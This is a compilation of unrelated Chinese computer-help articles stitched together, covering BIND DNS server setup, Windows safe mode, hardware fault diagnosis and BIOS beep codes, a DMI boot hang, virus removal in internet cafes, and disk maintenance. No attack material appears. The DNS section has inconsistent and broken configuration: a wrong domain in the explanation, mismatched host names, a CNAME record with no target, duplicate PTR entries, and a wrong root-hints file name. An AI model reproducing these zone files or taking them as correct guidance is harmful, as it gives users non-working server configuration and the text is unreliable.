要使LINUX系统完成域名服务器的功能，则需要运行一个named的服务进程。这个服务进程可以在安装LINUX时选中。 　　named启动时需要读取一个初始化文件--/etc/named.boot，这个文件是named的基本配置文件。它并不包含任何DNS数据，针对前面的假定环境，我们要在这个文件中写入： 　　diretory /etc/named 　　primary company.com db.company 　　primary 0.0.127.IN-ADDR.ARPA db.127.0.0 　　primary 55.101.202.IN-ADDR.ARPA db.202.101.55 　　cache . db.cache 　　下面我们逐行讲解这个文件中的内容： 　　1) 在第一行中我们指定named从/etc/named目录下读取DNS数据文件。这个目录可以自行指定并创建，指定后将所有的DNS数据文件均存放在这个目录下； 　　2) 第二行指定named作为company.com的主域名服务器，db.company文件中包含了所有*.my.com形式的域名的解析数据。 　　3) 第三行则指定named作为127.0.0网段（本地loopback）地址的转换主服务器。其中db.127.0.0文件中包含了所有127.0.0.*形式的地址到域名的转换数据。 　　4) 第四行指定named作为202.101.55网段地址转换主服务器，db.202.101.55文件中包含了所有以202.101.55.*形式的地址到域名的转换数据。 　　5) 最后一行指定named从db.cache文件中获得Internet的顶层"根"服务器地址。要说明的是，这些数据文件的名称均是自行决定的。 2.4 建立正向域名转换数据文件db.company 　　根据/etc/named.boot文件中的定义，我们在/etc/named目录下建立文件db.company，并且在其中写入所有在company.com域内的主机节点。根据前面假定的环境，可以写入： 　　@ IN SOA dns.company.com. root.dns.company.com.( 　　200002011 ；文件版本号 　　28800 ；刷新时间（秒） 　　7200 ；重试时间（秒） 　　3600000 ；终止时间（秒） 　　86400） ；TTL生存时间（秒） 　　IN NS dns.company.com 　　www IN A 202.101.55.1 　　email IN A 202.101.55.2 　　proxy IN CNAME 　　下面我们就逐句地理解这里的配置。 　　1． SOA是主服务器设定文件中一定要设定的命令，我们通常将它放在文件的第一行。 　　1） 最前面的符号"@"代表目前所管辖的域。 　　2） 接着的"IN"代表地址类别，这里就是固定使用"IN"的。 　　3） 接下来就是命令SOA。 　　4） 接下来填入域名服务器，记住由于DNS数据文件的特殊格式规定，在最后一定要加上"·"，在这个例子中，我们填入域名服务器："dns.company.com." 　　5） 接下来是域名服务器管理员的E-MAIL地址，但要注意的是，E-Mail地址中的分隔符"@"在这里用"·"来代替，在最后也要加上"。"，在这里，我们相应写入："root.dns.company.com." 　　6） 接下来在括号内填上各种选项： 　　文件版本号：当你修改这个文件的内容时，也要修改这个版本序列号。以此来区分是否有更新。 　　更新时间：指定二级服务器向主服务器拷贝数据的更新时间周期。 　　重试时间：指定二级服务器在更新出现通信故障时的重试时间。 　　终止时间：指定二级服务器重新执行更新动作后仍然无法完成更新任务而终止更新的时间。 　　生存时间：指定当域名服务器询问某个域名和其IP地址后，在域名服务器上放置的时间。 　注：二级服务器所设定的域名服务器是主服务器的备份主机。 　　2． 在第二行中，我们用NS命令指定这个域的域名服务器。在这里我们指出这个域的域名服务器是"dns.company.com"。 　　3． 接下来的两行我们使用A命令来指定域名与IP地址的对应关系。我们将Web服务器的域www.company.com与其IP地址202.101.55.1对应起来；将E-Mail服务器的域名mail.company.com与其IP地址202.101.55.2对应起来。 　　4． 最后一行，我们使用了CNAME命令为dns.company.com指定了另一个域名以供使用：proxy.company.com。 　　2.5 建立反向域名转换数据文件db.127.0.0和db.202.101.55 　　反向域名转换数据文件用来提供IP地址查询相应的DNS主机名，每个网段分别有一个数据文件。 　　1． 网段127.0.0通常只有一个地址，那就是127.0.0.1 loopback地址。所以我们在db.127.0.0中写入的内容是： 　　@ IN SOA dns.company.com. root.dns.company.com.( 　　200002011 ；文件版本号 　　28800 ；刷新时间（秒） 　　7200 ；重试时间（秒） 　　3600000 ；终止时间（秒） 　　86400） ；TTL生存时间（秒） 　　IN NS dns.company.com 　　1 IN PTR localhost 　　前面两名相信读者已经不会陌生，最后一句我们使用PTR命令让配置文件中的主机可以使用IP地址来知道所对应的域名。 　　最前面的1代表127.0.0.1，对应的域名就是localhost。 　　2．网段202.101.55就可能会存在更多的记录，前面假定环境下的设置应是： 　　@ IN SOA dns.company.com. root.dns.company.com.( 　　200002011 ；文件版本号 　　28800 ；刷新时间（秒） 　　7200 ；重试时间（秒） 　　3600000 ；终止时间（秒） 　　86400） ；TTL生存时间（秒） 　　IN NS dns.company.com 　　1 IN PTR www 　　2 IN PTR email 　　55 IN PTR dns 　　55 IN PTR proxy 　　2.6 获得db.cache文件 　　在LINUX系统中通常在提供了一个named.ca的文件，该文件中Internet的顶层域名服务器，但是这个文件通常会发生变化，所以建议最好从Internet上下载最新的版本。该文件可以通过匿名FTP从ftp.rs.internic.net/domain下载，文件名是named.boot。将它拷贝一份为db.cache就可以了。 　　3、测试域名服务器 　　3.1 使用nslookup测试 　　nslookup命令的功能是查询域名服务器中的数据资料。下例就是使用它来测试域名服务器是否架设成功，其中斜体字代表要输入的内容。 　　# nslookup 　　Default server:dns.company.com 　　Address:202.101.55.55 ；能出现这些信息代表成功 　　> www 　　server:dns.company.com 　　Address:202.101.55.1 　　3.2 使用ping测试 　　还有一种更简单的测试方法，那就是用ping命令，如果成功将显示： 　　　　# pingwww.company.com 　　　　Pingwww.company.com(202.101.55.1);56 data bytes 　　　　64 bytes from 202.101.55.1:icmp_seq=0 ttl=255 time=1.3ms 　　　　64 bytes from 202.101.55.1:icmp_seq=1 ttl=255 time=0.6ms 　　　　64 bytes from 202.101.55.1:icmp_seq=2 ttl=255 time=0.6ms 　　　　…… 　　8.4 小技巧 　　安装好域名服务器后，在内部使用域名进行远程连接时，会发现速度非常慢。其实只要/etc/hosts中加上所有内部的机器的域名就可以了。

  

不管你在电脑方面是新手还是老手，只要你用Windows，就肯定会经常听到一个词语：安全模式。初学者往往对这个概念往往理解含糊，什么是安全模式？难道平时系统都是“不安全模式”？安全模式能干什么？
什么是安全模式

　

我们都知道，对于现在的Windows 2000/XP/2003操作系统，系统本身的稳定性已经不是问题，而大量的驱动和应用程序才是危害系统稳定性和可靠性的罪魁祸首。可能系统本来工作非常正常，但是某天升级了一个有Bug的显卡驱动，或者安装了一个新版本的杀毒软件之后系统就无法正常启动了。为了解决这类会影响到Windows正常运行，但又并非Windows自身问题的故障，微软为我们准备了安全模式。

通过“安全模式”的方式登录到系统中，看到的桌面与通常看到的很不一样，就像在Windows 98系统中刚安装好系统而没有安装任何驱动程序时的模式，事实就是这样，当Windows在安全模式下运行的时候，系统将只载入能够启动系统的最基本的服务和驱动程序，这样操作系统将会使用最少的驱动和服务运行，并使用通用的显卡驱动程序，工作在640× 480的分辨率下，同时仅能支持键盘、鼠标、显示器、本地硬盘，并开启默认的系统服务。在安全模式下，Windows并不载入音频设备和其他非必要外设的驱动，而且Windows还会忽略所有随系统启动自动运行的程序。

提示： Windows XP/2003中的通用显卡驱动程序将可以在安全模式下显示24位色深和640 x 480的分辨率，然而这些设置是无法修改的。

怎样进入安全模式

启动过程中按下F8键是最传统也是最常用的方法：当我们打开电脑电源，硬件完成自检之后，立刻按下键盘上的F8键，你将看到如图1所示的界面。这里列出了很多高级启动选项。在此安全模式又分为几种，一般情况下我们选择进入普通的安全模式即可。除了这种最常用的方法外，在计算机启动时按住Ctrl键不放，也可以以“安全模式”启动系统。

Windows安全模式" style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" alt="小菜必学 用好你的Windows安全模式" src="/Article/UploadPic/2006-6/200661341855872.jpg" align=no>

　

提示：至于其他几个高级启动选项的详细作用请参考微软知识库文章，KB 315222：http://support.microsoft.com/kb/315222/ZH-CN/ 。

另外，当你在Windows的正常模式下时，单击“开始/运行”，输入“msconfig”，然后在打开的窗口中选择“一般”选项卡，再勾选“论断启动－仅加载基本设备驱动程序和服务”项（如图2），最后单击“应用/确定”并重新启动，系统即会自动进入“安全模式”。

Windows安全模式" style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" alt="小菜必学 用好你的Windows安全模式" src="/Article/UploadPic/2006-6/200661341857198.jpg" align=no>

　

利用安全模式解决实际问题

现在你也许大概知道了安全模式的意义，但究竟如何使用它呢？下面就让我们用实例来告诉你！ 修复系统故障

有的时候，Windows运行起来不太稳定或者无法正常启动，这时就可以尝试使用“安全模式”来解决问题。试着重新启动计算机并切换到“安全模式”启动，成功以“安全模式”启动系统后，再重新按正常模式启动计算机，这样，系统会在“安全模式”下自动修复可能出错的注册表和某些系统文件，一些不太严重的系统错误就会被修复。

解决驱动或软件导致的崩溃

这个问题可能很多人都会遇到，这种情况下，唯一的解决办法就是卸载新驱动，恢复老版本的驱动，可问题是Windows都无法启动了，怎样卸载和恢复呢？如果你安装的驱动是用于一些非重要设备（例如网卡、显卡、声卡等）的，那么可以试试看进入安全模式进行恢复。

前面已经说过，在安全模式下，系统将只加载最基本的驱动程序，因此只要系统还能进入安全模式，我们就可以直接卸载驱动，或者Windows XP/2003用户可以利用“返回驱动程序”功能返回上一次的正确驱动（如图3）。

Windows安全模式" style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid" alt="小菜必学 用好你的Windows安全模式" src="/Article/UploadPic/2006-6/200661341857537.jpg" align=no>

　

纠正显示分辨率

如果我们在显示属性中设置了显示器无法接受的分辨率，例如给17寸的CRT显示器设置了1600×1200的分辨率，因为无法正查显示，我们也就无法将分辨率改为正常的设置。确实Windows有一种保护机制，当你设置了过高而显示器无法显示的分辨率的时候，只要等待30秒就会自动恢复到之前的分辨率，不过有时候因为各种原因，该功能可能会无法生效。

这时候就可以利用安全模式了，因为在安全模式下，系统都将显示640×480分辨率的桌面。因此我们大可以放心将系统启动到安全模式下，在显示属性中设置正确的分辨率，并重启动系统到正常模式下。

删除顽固软件或病毒木马

在常规模式下，有些病毒和木马（甚至正常软件）可能无法正确删除，因为他们可能和某些自动加载的软件有有联系。这时候你就可以试试安全模式。因为在安全模式下，大部分这类程序都不会被操作系统加载，因此我们可以放心用杀毒/木马软件删除病毒和木马，或者按照需要卸载一些正常模式下无法卸载的软件。

虽然现在的恶意软件和病毒越来越狡猾，有些可能在安全模式下也无法清除，不过在安全模式下删除软件软件或者病毒木马是初学者必须掌握的技巧。

磁盘碎片整理

系统用久了，在硬盘中便会出现很多碎片，碎片多了会影响系统的性能，也会浪费宝贵的硬盘资源。因此，建议大家定时给硬盘进行碎片整理，而在碎片整理的过程中，最好不要运行其它程序的，而一般在正常启动Windows时，系统会加载一些自动启动的程序，而这些程序又不易关闭，常常会对碎片整理程序造成干扰。这种情况下，我们就应该重新启动计算机，进入安全模式，安全模式是不会启动任何自动启动程序的，可以保证磁盘碎片整理的顺利进行。

想必通过这篇文章，大家对安全模式以及它的典型应用已经有基本的了解。不过安全模式的功用还有很多，希望初学者在碰到具体电脑问题的时候能够想到“安全模式”，说不定很多问题都会迎刃而解。  

在电脑市场里最可怜的人要数那些将带有故障的电脑搬来搬去的人了。组装机与品牌机比起来虽然有她的长处,但没有良好的售后服务是她的致命短处。   
　　大部分电脑故障是软件故障,因此在未确定是硬件故障前没必要将整台机器搬来搬去。即使是硬件故障,也没必要将整台机器搬去,只须将出故障的部件拿去即可。因此我们有必要了解硬件故障的诊断和测试方法,以后电脑出了故障不用将整台机器都搬去了(当然最好是不出故障!)。   
　　故障及对策   
　　如果想对电脑故障做全面的分析,那恐怕要写一本书,且那也并非易事。关于软件的故障在各类报刊上介绍过很多,因此这里只介绍硬件故障的症状,原因以及解决方法。   
　　一、电脑启动过程   
　　Ⅰ、首先来了解一下电脑的启动过程   
　　1、贮存在ROM(只读存储器)中的Bootstrap Loader程序和自诊断程序移动到RAM(随机存储器)中。   
　　2、随着Bootstrap Loader的运行,储存在辅助记忆装置中的操作系统将系统文件送到RAM中。   
　　3、执行系统文件Io.sys和Msdos.sys。这时画面上出现“Starting Windowsn98……”的信息。   
　　4、若有Config.sys则执行它。   
　　5、执行系统文件的Command.com文件。   
　　6、若有Autoexec.bat则执行它。   
　　7、读取Windows的初始化文件“System.ini”和“Win.ini”,再读取注册表文件。   
　　8、启动结束,出现初始画面,运行操作系统。   
　　这个过程中,在主板的ROM BIOS中监测硬件是否异常，包括硬件故障,接线情况,各类卡的安装等。如果发生错误，画面上什么也不出现,启动停止。   
　　这种情况下很可能是硬件故障。   
　　Ⅱ、系统启动顺序   
　　1、PC电源的ON——显示器，键盘，机箱上的灯闪烁。   
　　2、检测显卡——画面上出现短暂的显卡信息。   
　　3、检测内存——随着嘟嘟的声音画面上出现内存的容量信息。   
　　4、执行BIOS——画面上出现简略的BIOS信息。   
　　5、检测其他设备——出现其他设备的信息(CPU,HDD,MEM...)。   
　　6、执行OS(操作系统)的初始化文件－Starting Windows 98等。   
　　Ⅲ、在启动时主板中发出声音,通过这个声音可以判断是何种错误   
　　根据主板形式的不同,声音的表示也有所不同.   
　　AMI BIOS:   
　　1短:内存刷新失败   
　　2短:内存校验错误   
　　3短:基本内存错误   
　　4短:系统时钟错误   
　　5短:CPU错误   
　　6短:键盘错误   
　　7短:实模式错误   
　　8短:内存显示错误   
　　9短：ROM BIOS校验错误   
　　1长3短:内存错误   
　　AWARD BIOS:   
　　1短:启动正常   
　　2短:非致命错误   
　　1长1短:显示错误   
　　1长2短:键盘错误   
　　其他BIOS可查《BIOS错误提示音》,这里不再详细介绍。   
　　二、易混淆的软件故障   
　　必须明确地区分硬件故障和软件故障，否则费了很大的力气将电脑搬到电脑市场,店主告诉你是软件故障时你会是什么心情呢。特别是启动故障也有可能是软件故障造成的。下面我们就来看一看由软件故障造成的启动异常。   
　　Ⅰ、CMOS Setup的错误   
　　如果在CMOS Setup中的硬盘设置不正确的话,因为电脑无法识别硬盘,因此导致不能用硬盘中的操作系统(Windows)启动。出现画面但无法启动时应该检查CMOS Setup的内容。若要正确识别硬盘，可以使用CMOS Setup中的“IDE HDD Auto Detection”选项。   
　　Ⅱ、系统文件的错误   
　　Windows启动时需要Command.com, Io.sys, Msdos.sys, Drvspace.bin 四个文件。如果这些文件遭破坏，即使识别了硬盘也不能启动。这时可以使用“Sys.com”文件恢复这些文件。用启动盘启动后,键入“Sys c:”即可。   
　　Ⅲ、初始化文件的错误   
　　Windows在启动时要读取“Autoexec.bat”,“Config.sys”，“System.ini”，“Win.ini”,“User.dat”,“System.dat”六个文件。但在读取时若其中有错误的信息将发生启动失败。而这些文件是很难恢复的,因此要使用Windows重新设置等方法。但这不是硬件故障，用不着把电脑抱到电脑市场去。   
　　Ⅳ、Windows的错误Windows初始画面出现后的故障大部分是软件的故障。程序间的冲突或驱动程序的问题等等。这样的问题可以用翻阅书籍等方法自行解决。   
　三、不是故障的硬件故障   
　　虽然不是故障,但时常发生用户组装不正确或插口松等现象。这时可以自己打开电脑检查接线,插口等的错误。在新购硬盘,CD－ROM等EIDE设备时要注意将连接在中间的装置设置为“SlaveE”,将连接在边上的装置设置为“Master”,如果设置得不正确,有可能无法启动或使用相应装置时发生错误。   
四、硬件故障的检测方法   
　　下面我们来看一看硬件故障的基本测试方法。显示器没有任何图像出现时可以使用下面的方法测试出故障的部件。   
　　一、首先准备一个工作台。   
　　二、将主板从机箱拔出,再把主板上的所有部件拔出,只留下CPU和RAM.然后把主板放到工作台上。   
　　三、将稳压电源连接在主板上。   
　　四、将显卡插入AGP插槽。当然如果是PCI显卡则插入PCI插槽中。插入时要注意将显卡镀金的部分完全地插入插槽中。   
　　五、连接显示器电源插口后将显卡与显示器连接起来。   
　　六、打开显示器电源,再接通机箱电源开关。然后用金属棒接触主板的电源开关。   
　　主板的电源开关是与机箱电源开关连接的部分,一般标记为“PWR SW”或“POWER SE”。   
　　七、如果画面上出现BIOS的版本信息,画面没有异常的话,说明CPU,主板,RAM,显卡,电源都正常.通常,经常易出现故障的部件是“显卡”,“主板”,“硬盘”这个顺序。   
　　八、然后连接硬盘和软区进行检测。接着连接CD－ROM检测,然后是声卡。Modem等一个一个的连接进行检测。如果不出现画面就说明后连接的那个部件有故障或是有兼容性问题。只须处理那个出故障的部件即可。   
　　九、机箱的问题   
　　有时将主板安装到机箱时发生问题,导致启动失败。因此如果在上面的部件检查中没有任何问题的话,可以将主板安装到机箱上测试。如果在测试中没有任何的错误,则说明是CMOS Setup错误,驱动程序等的软件问题。   

检测电脑故障的简单方法   
　　如果排除了“假故障”，那么就是真的有故障存在了！若再检测一下各配件的外观，包括打开机箱看到主机内部的各部件表面都没有被高电压击毁的迹象，或者明显的伤痕，若有的话，故障部件就清楚了。若都没有，可先试下面的处理方法。   
　　1.清除尘埃   
　　飘浮在空气中的尘埃是计算机一大杀手，使用一段后就可能因主板等关键部件积尘太多而出现故障，即便是在专用机房中也会如此。所以，对于使用了较长时间的计算机，应首先进行清洁，用毛刷轻轻刷去主板、外设上的灰尘。如果灰尘已清扫掉，或无灰尘，故障仍然存在，就表明硬件存在别的问题。   
　　另外，由于板卡上一些插卡或芯片采用插脚形式，震动、灰尘等原因常会造成引脚氧化，接触不良。可用橡皮擦擦去表面氧化层，重新插接好后开机检查故障是否排除。   
　　随便说一句，键盘使用日久往往会出现漏电、按键卡死等故障，此故障应及时处理，否则在输入文件时将会键入一些错误的字符。处理时应把键盘用一个托架托起来，按键向下，打开键盘的后盖，用酒精清洗线路板及按键的触点，并把卡死的按键下面的弹片适当撬起，使之恢复原有的弹性。   
　　注意：软盘使用中，脏污或被划伤的软盘插入软驱时会划伤读写头，损坏软驱。清洗磁头时一定要十分谨慎，长时间不用的软驱，可能在磁头上会有锈蚀，此时不可使用清洗盘，具体做法是打开机箱将清洗剂滴在磁头上，浸泡半小时后，用脂棉小心地擦拭干净。如果盲目地使用清洗盘势必导致软驱读写头的损伤，使软驱报废。   

 

DMI是英文单词Desktop Management Interface的缩写，也就是桌面管理界面，它含有关于系统硬件的配置信息。计算机每次启动时都对DMI数据进行校验，如果该数据出错或硬件有所变动，就会对机器进行检测，并把测试的数据写入BIOS芯片保存。所以如果我们在BIOS设置中禁止了BIOS芯片的刷新功能或者在主板使用跳线禁止了BIOS芯片的刷新功能，那这台机器的DMI数据将不能被更新。如果你更换了硬件配置，那么在进行WINDOWS系统时，机器仍旧按老系统的配置进行工作。这样就不能充分发挥新添加硬件的性能，有时还会出现这样或那样的故障。

　

如果我们在启动计算机时看到上述这个信息后，系统长时间停止不前或处于死机状态，对于机器此类故障一般很难处理。因为不能像进入系统后出现的故障，我们可以检查系统日志之类的文件进行分析。不过，根据PC机启动的过程原理分析，出现这条信息时一般有以下的可能情况：

1.硬件改变

　　当主机的硬件配置有所变化，但是我们使用的是POST功能时，此时系统不能识别新添加的硬件，将会按老的配置进行工作，此时就会出现开机后能够加电，但是没有正常启动时“嘀”的一声，同时显示器也没有图像显示，只有风扇转动的声音。

　　还有一个原因是新添加的硬件的兼容性不好，导致上述的情况出现。

　　2.BIOS设置改变

　　当BIOS设置错误时，比如内存的读写参数设置有误，硬盘的模式设置有误，板载声卡与集成声卡的设置有误等情况，都会造成不能正常启动。

3.硬盘线连接错误

　　这类情况有硬盘的数据线接触不良，数据线质量低劣造成数据数输时错误太多，数据线插接有误(接主板端与接硬盘端倒个儿)，主从硬盘跳线有误，硬盘容量或模式设置有误等。

　　4.硬盘主引导区内容被破坏

　　当硬盘的主引导区内容被其他程序改写或被病毒破坏掉，也可能时硬盘分区表被清除或人为的设置成逻辑锁状态时，就会到此时死机。

　　对于硬盘的主引导区的引导程序被破坏，我们可以使用Fdisk/MBR命令进行修复，或者使用KV3000的磁盘编辑功能查找0道0面的其他62个扇区是否有备份的主引导区程序，将其还原至0道0面0区即可。

　　对于分区表被破坏的就比较麻烦。如果只是分区表没有“80”标志或者多个“80”标志，或者没有”55AA”标志的，我们只要使用KV3000的磁盘编辑功能进行手动修复就可以了。如果是逻辑锁，就需要制作特殊的磁盘进行解锁。如果分区表被完全破坏或者被加密，那我们就只能重新分区了。

　　5.硬盘有故障

　　现在硬盘的容量越来越大，速度越来越快，不过硬盘的质量好像也越来越差了。到目前市场上还有94,95年份生产的几百M的二手硬盘在卖呢。可现在呢，刚买的新硬盘，没几天就会坏道成片或者莫名妙的丢失数据，再不就是“咣咣”的提意见罢工不干了。当硬盘硬件出现故障时，也会出现上述的情况，此类问题硬盘在CMOS里能够认到硬盘，认盘很顺利，但就是进不了系统，无法正常分区和格式化。

　　6.主板有问题

　　与主板有关的也主要是主板的硬盘控制器的问题，造成数据传输不稳定，错误率太高。

7.超频造成的损坏

　　如果我们超频过头时，也会出现开机后到硬盘这儿就死机。这时我们最好住开机自检时显示的CPU的频率是多少，再打开机箱检查实际CPU的频率是多少，二者是否相同。特别对于PIV以后的CPU，其集成度极高，如果我们超频使用，极有可能造成CPU内部的电子在短时间内过度衰减，导致CPU短时间内报废。

解决的方法：

　　1.恢复硬件改变前的状态，检查系统是否能够正常启动。

　　2.检查所有连接线或扩展卡是否正确连接。

　　3.试着重新配置在BIOS中“PNP/PCI configuration”“Reset Configuration Data”也可以使用“Force Update ESCD”之类的BIOS选项设置为“Enabled”，然后存盘退出。如果能够不能启动，再试着设置为“Disabled”试一试。

　　4.查阅主板手册关于CMOS跳线的的信息并清除CMOS。请注意：在清除CMOS设置时必须拔掉主机电源线或者把主机电源的开关设置为off或0。

　　5.断开硬盘连接线，包括光驱或其他IDE设备，再进入BIOS设置选择启动顺序为软盘启动后按F10存储退出，然后在软驱中放入一张可启动的系统盘，检查系统是否能够正常启动。

　　6.在完成清除CMOS设置后，把CMOS设置中的“PNP/PCI configuration”选项设置为“Enabled”，再次重新启动电脑来更新设置DMI数据，也叫做强制更新ESCD数据。

　　7.如果主机能够通过软盘启动，但是不能通过硬盘启动，这种情况有可能是硬盘的主引导区的数据被破坏，这时可以通过分区软件来修复主引导区的程序代码，如用软盘启动电脑后，使用FDISK/MBR命令来修复主引导区。也可以到相应硬盘生产商的网站下载特殊的硬盘分析工具程序，来检查自己的硬盘的具体故障。

　　8.如果经过上述设置后还不能排除故障，这时应考虑是主板或硬盘的IDE接口的问题，可以通过替换法解决。 

几种常见的杀毒方法

　

有过网吧或者机房管理经验朋友肯定知道，如果机子中了病毒的话是很让人头疼的事情，现在的病毒大多都具有复制能力特别强，能够通过局域网传播，大量耗费系统资源等特点，一个局域网内只要有一台机子中了病毒，如果不及时的杀毒和隔离的话，其他的机子很快便会感染病毒，如何防止病毒，和快速的杀毒成了每个网管所迫切考虑的事情。

　　其实网吧内的常见的病毒有两种，一种是类似与CIH的病毒这种高破坏性的病毒，中了之后系统会无法启动，这种病毒的危害大，但是中毒的几率相对很少；另一中就是脚本病毒。这类病毒一味的耗费系统资源，直到系统崩溃死机，比起CIH病毒来说，它们看似很不起眼，但却做让人头疼。有没有克制脚本病毒的方法呢？笔者在实践中总结了以下几条经验。

　　第一，装系统的时候要用光盘启动硬盘来装，光盘要保证以前用过的没有携带病毒的，硬盘一定要没有任何文件，否则残留的文件里面很可能就感染了病毒，这一点一定要毫不留情，不要为了要备份一个驱动或者一个软件不把它删除。否则你刚装完系统发现已经中了病毒，那可就后悔莫及了。

　　第二，装完系统后，再装驱动之前，最好先用装个杀毒软件，杀毒软件首先要保证自己没有病毒，其实你可以把WIN98安装文件，杀毒软件等，网吧机器的驱动放在一起用EasyBoot做个启动光盘。有了这张盘，你在装其他软件和游戏之前就可以保证母盘不感染病毒了。

　　第三，装好驱动后先上网把杀毒软件更新到最新，然后开着病毒防火墙，从事先准备好的机器上调用软件和游戏的安装文件来安装网吧的必备软件和常玩的游戏，一切都弄好后测试一遍游戏和软件，然后在C盘目录下建立一个ADMIN的文件夹，把专杀工具包，硬盘工具包，网络克隆工具，还有备份的注册表放到里面备用。一般样板盘做成这样就很好了，当然如果系统配置不高，为了不影响玩游戏的速度，在克隆完之后要把病毒防火墙的自启动取消。

　　装杀毒软件不是让它老开着防火墙，因为一来它耗费系统资源，二来平时安装着还原精灵，有病毒重启一下就好了，它主要用在以后升级游戏或者调用文件的时候把防火墙打开防止调用文件中的病毒感染系统，更何况人非圣贤，孰能无过，再谨慎的人也不会保证以后肯定不会出病毒，所以一定要为每台机子装上杀毒工具，但平时没必要启用它的保护功能。

　　在网络上的人肯定都中过爱情森林，新欢乐时光等这些顽固的病毒，尤其是在局域网里，往往是所有的机子都感染病毒，每个机子能杀出几百个到上千个病毒，我曾经在一台机子上用瑞星杀出过8000多个病毒。

　　这些病毒非常恶劣，一般在WINDOWS下是不容易杀干净的，每次杀完病毒，紧接着再杀的时候就会发现杀毒软件本身还有EXPLOR.EXE等进程依然感染着病毒，你无论怎么杀也杀干净，这样的话最好是重起到安全模式下再杀，杀毒的时候不要打开任何的窗口，因为有些病毒只要你打开窗口就会激活，它占用到内存的话就很难清除了。杀完后重起再进安全模式再杀，一般这样几次病毒就会杀干净了。如果还不行的话就要到DOS下查杀了，一般的杀毒软件都有它的DOS版本。重启动到纯DOS模式下，跳转到安装目录下运行那个程序会有个提示，不过这样查杀病毒的速度一般很慢。值得注意的是如果所有的机子都中了病毒的话，一定要把交换机关掉一台一台的杀，杀完后备份C盘，并用保护卡保护起来。

　　脚本病毒这样清除就可以了，但是对于CIH等病毒来说，除了杀完毒后还有做恢复工作，一般来说它就是破坏分区表和主引导程序，严重的话破坏BIOS。我们可以分别来对待，如果损坏的仅仅是主引导记录，可以用干净的启动软盘或光盘启动系统运行fdisk /mbr就可以了，也可以用DISKMAN，DISKGEN等小工具来重建主引导记录。如果损坏的是分区表，首先考虑的是用DISKMAN的恢复分区表功能，破坏的不太严重的话一般可以恢复的。不过，如果你对磁盘结构，分区表，I/O表，FAT表不熟悉的话，笔者还是建议专业人员来修理好些，毕竟这样安全系数更大。 

老虫的电脑维护心得
1、定期整理硬盘
　　严重的硬盘碎片会大幅度降低你的电脑响应速度。所以你就需要定期的对磁盘进行清理，磁盘清理非常简单，首先单击“开始”，依次指向“所有程序”、“附件”、“系统工具”，然后单击“磁盘清理”。如果有多个驱动器，会提示您指定要清理的驱动器。
一、释放磁盘空间
　　通过释放磁盘空间，可以提高计算机的性能。磁盘清理工具是 Windows 附带的一个实用工具，可以帮助您释放硬盘上的空间。该实用工具先标识出可以安全删除的文件，然后允许您选择希望删除部分还是全部标识出的文件。　　
　　磁盘清理工具功能:
　　＆#8226;删除 Internet 临时文件。
　　＆#8226;删除下载的程序文件。
　　＆#8226;清空回收站。
　　＆#8226;删除 Windows 临时文件。
　　＆#8226;删除不使用的可选 Windows 组件。
　　＆#8226;删除已安装但不再使用的程序。
　　提示:通常情况下，Internet 临时文件会占据大多数的空间，因为为了加速以后的访问，浏览器会缓存您访问的每个页面。
　　使用磁盘清理工具
　　1.单击“开始”，依次指向“所有程序”、“附件”、“系统工具”，然后单击“磁盘清理”。如果有多个驱动器，会提示您指定要清理的驱动器。

　

“磁盘清理”工具计算您可以释放的磁盘空间量
　　2.在“(驱动器)的磁盘清理”对话框中，滚动查看“要删除的文件”列表的内容。

选择要删除的文件
　　3.清除不希望删除的文件所对应的复选框，然后单击“确定”。
　　4.提示您确认要删除指定文件时，单击“是”。
　　几分钟之后，该过程完成，“磁盘清理”对话框关闭，这时您的计算机更干净、性能更佳。
二、加快数据访问速度
　　磁盘碎片会降低系统的整体性能。如果文件存储在不同的碎片上，那么打开文件时，计算机必须搜索硬盘，以便将碎片重新拼凑在一起。响应时间可能明显变长。
　　磁盘碎片整理程序是一个 Windows 实用工具，用于合并计算机硬盘上存储在不同碎片上的文件和文件夹，从而使这些文件和文件夹中的任意一个都只占据磁盘上的一块空间。将文件首尾相接整齐存储而没有碎片时，磁盘读写速度将加快。
　　何时运行磁盘碎片整理程序
　　除定期(最好每月一次)运行磁盘碎片整理程序外，在通常每月一次的惯例之外，如果发生了某些特定的事件也可以运行该实用工具。
　　在以下情况下，应该运行磁盘碎片整理程序:
　　＆#8226;增加了大量文件。
　　＆#8226;只有 15% 左右的可用磁盘空间。
　　＆#8226;安装了新程序或 Windows 的新版本。
　　使用磁盘碎片整理程序:
　　1.单击“开始”，依次指向“所有程序”、“附件”、“系统工具”，然后单击“磁盘碎片整理程序”。

单击“分析”将启动磁盘碎片整理程序
　　2.在“磁盘碎片整理程序”对话框中，单击要对其进行碎片整理的驱动器，然后单击“分析”按钮。
　　分析完磁盘之后，将显示一个对话框，告诉您是否应该对所分析的驱动器进行碎片整理。
　　提示:对卷进行碎片整理之前，应该先进行分析，以便了解碎片整理过程大概需要多长时间。
　　3.要对选定的一个或多个驱动器进行碎片整理，请单击“碎片整理”按钮。
　　完成碎片整理之后，磁盘碎片整理程序将显示整理结果。
　　4.要显示有关经过碎片整理的磁盘或分区的详细信息，请单击“查看报告”。
　　5.要关闭“查看报告”对话框，请单击“关闭”。
　　6.要关闭磁盘碎片整理程序实用工具，请单击窗口标题栏上的“关闭”按钮。
三、检测和修复磁盘错误
　　除运行磁盘清理工具和磁盘碎片整理程序来优化计算机性能外，还可以运行错误检查实用工具来检查硬盘上存储的文件的完整性。
　　在使用硬盘驱动器时，可能会出现坏扇区。坏扇区会降低硬盘性能，有时还会导致难以甚至无法执行数据写入操作(如文件保存)。错误检查实用工具可以扫描硬盘驱动器中是否存在坏扇区，并扫描文件系统错误以了解是否某些文件或文件夹放错位置。
　　如果每天都使用计算机，那么应尝试每周运行一次此实用工具，以帮助您防止数据丢失。
　　运行错误检查实用工具:
　　重要: 运行错误检查实用工具之前，确保关闭所有文件。
　　1.单击“开始”，然后单击“我的电脑”。
　　2.在“我的电脑”窗口中，右键单击要搜索是否存在坏扇区的硬盘，然后单击“属性”。
　　3.在“属性”对话框中，单击“工具”选项卡。
　　4.单击“开始检查”按钮。
　　5.在“检查磁盘”对话框中，选中“扫描并试图恢复坏扇区”复选框，然后单击“开始”。

大多数情况下，请选中“扫描并试图恢复坏扇区”
